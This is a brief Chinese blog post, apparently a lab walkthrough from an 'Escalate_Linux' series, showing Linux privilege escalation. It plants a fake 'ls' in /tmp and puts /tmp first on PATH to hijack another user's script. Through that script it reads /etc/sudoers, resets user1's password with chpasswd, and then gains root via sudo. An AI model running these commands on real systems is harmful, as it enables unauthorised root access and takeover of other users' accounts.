Escalate_Linux（4）-利用SUDO实现提权

本文主要是介绍Escalate_Linux（4）-利用SUDO实现提权，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

利用SUDO实现提权

利用用户的sudo授权获得root的shell

cat /etc/passwd

cat /etc/sudoers 命令没有权限

echo "cat /etc/sudoers" >/tmp/ls

chmod 755 /tmp/ls

export PATH=/tmp:$PATH

/home/user5/script

想办法更改user1的口令

echo 'echo "user1:xiaoxiao" | chpasswd ' >/tmp/ls

调用user5的脚本：/home/user5/script

su - user1切换user1用户 密码则为设置的xiaoxiao：

后直接提权到root用户：sudo su -

这篇关于Escalate_Linux（4）-利用SUDO实现提权的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---